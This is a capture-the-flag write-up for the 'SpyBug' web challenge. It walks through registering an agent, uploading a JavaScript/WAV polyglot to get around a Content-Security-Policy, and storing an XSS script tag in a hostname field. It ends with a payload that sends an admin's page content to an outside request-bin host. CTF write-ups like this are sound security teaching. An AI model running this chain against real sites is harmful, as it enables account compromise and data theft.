SpyBug Writeup
Description
As Pandora made her way through the ancient tombs, she received a message from her contact in the Intergalactic Ministry of Spies. They had intercepted a communication from a rival treasure hunter who was working for the alien species. The message contained information about a digital portal that leads to a software used for intercepting audio from the Ministry's communication channels. Can you hack into the portal and take down the aliens counter-spying operation?
First glance
A login portal for agents
We need to login to the /panel
as admin to get the flag rendered
router.get("/panel", authUser, async (req, res) => {
res.render("panel", {
username:
req.session.username === "admin"
? process.env.FLAG
: req.session.username,
agents: await getAgents(),
recordings: await getRecordings(),
});
});
There are two routes. One has the panel where we could find the flag. The other route is an API for agents where recordings can be uploaded.
Identifying attack path
There is an admin bot that logs in every few minutes to the panel. This suggests that we should do a xss attack
If we take a look at the template for panel, we see that agents and recordings get rendered. See we should try and modify the data that gets rendered. We can do this by making an agent and then injecting a script in the hostname.
Registering agent
If we look in the agents.js
file we can see the route to get a new agent:
router.get("/agents/register", async (req, res) => {
res.status(200).json(await registerAgent());
});
If we visit this route we get an id an token
curl http://$HOSTNAME/agents/register
{"identifier":"f1fc3f54-06cb-45d5-8f68-1e9a257a562a","token":"5ca34f0c-410c-4da4-8970-203800977ea2"}
We save these for later:
ID=f1fc3f54-06cb-45d5-8f68-1e9a257a562a
TOKEN=5ca34f0c-410c-4da4-8970-203800977ea2
In the agents.js
we can also see a check route.
curl http://$HOSTNAME/agents/check/$ID/$TOKEN -> OK
The agent seems to be working
Updating the details
We can use the API to update the agents hostname
, platform
and arch
.
curl -X POST http://$HOSTNAME/agents/details/$ID/$TOKEN -d "hostname=test1&platform=test2&arch=test3"
Crafting the XSS P1
To craft a working exploit we change the local docker files of the challenge such that we can log in as admin.
On the panel we now see our registered agent with its details.
Setting the hostname to <script>alert(1)</script>
does not work. This is because the Content-Security-Policy. Scripts inline are not allowed. We are allowed to set the source of a script to locally contained scripts. So we must find a way to get our script in the server.
Uploading our script
In agents there is also the POST recording route.
On this route we can upload .wav files. The included .go agent does not work so we must discover our own way to upload files.
The route uses multerUpload.single("recording")
as middle where. To upload a file we must send a form multipart request with the field recording
We can upload a random form multipart file with curl:
curl http://$HOSTNAME/agents/upload/$ID/$TOKEN --form "recording=@test.wav"
This fails because we did not specify the form type. Multer used a filefilter:
fileFilter: (req, file, cb) => {
console.log(file);
if (
file.mimetype === "audio/wave" &&
path.extname(file.originalname) === ".wav"
) {
cb(null, true);
} else {
return cb(null, false);
}
}
We can add this mimetype by adding type=audio/wave
curl http://$HOSTNAME/agents/upload/$ID/$TOKEN --form "recording=@test.wav;type=audio/wave"
It will however still fail because in the post route it also tries to match a regex string.
!buffer.match(/52494646[a-z0-9]{8}57415645/g)
These are the magic bytes for a .wav
file. This match is done globally, to we can add these bytes any in our file.
We touch
a new file exploit.wav
and hexedit
to add these bytes at the end.
Such that the final bytes are:
524946460000000057415645
curl http://$HOSTNAME/agents/upload/$ID/$TOKEN --form "recording=@exploit.wav;type=audio/wave"
returns the upload ID, we all we have to do is craft our script and reference it.
With vim
we can edit our exploit.wav
. As a poc we add alert to the top and place to slashed before our magic bytes such that do not cause a synstax error.
alert(1)
//RIFF^@^@^@^@WAVE
We upload this to the server and save the in $SCRIPT_ID
Crafting the XSS P2
With this we can change our hostname to include our new script
Setting the hostname to <script src="/uploads/$SCRIPT_ID"></script>
curl -X POST http://$HOSTNAME/agents/details/$ID/$TOKEN -d "hostname=%3cscript%20src%3d%22%2fuploads%2f$SCRIPT_ID%22%3e%3c%2fscript%3e&platform=test2&arch=test3"
If we now access the page again the script gets executed. Now we make it such that it extracts the flag.
The flag is rendered on the page inside <h2>
tags. We can get this with: document.body.getElementsByTagName("h2")[0].getInnerHTML()
As a request bin we use httpdump. To force the browser of the admin to make a external request we use new Image().src=
Our full exfiltration script then looks like this:
new Image().src=" https://httpdump.app/dumps/7c767ff0-df2e-4945-a44d-5a4e19b68a20?doc="+document.body.getElementsByTagName("h2")[0].getInnerHTML();
//MAGICBYTES
We upload this, update our hostname to include the new file ID.
Wait a few seconds and we get our flag:
HTB{p01yg10t5_4nd_35p10n4g3}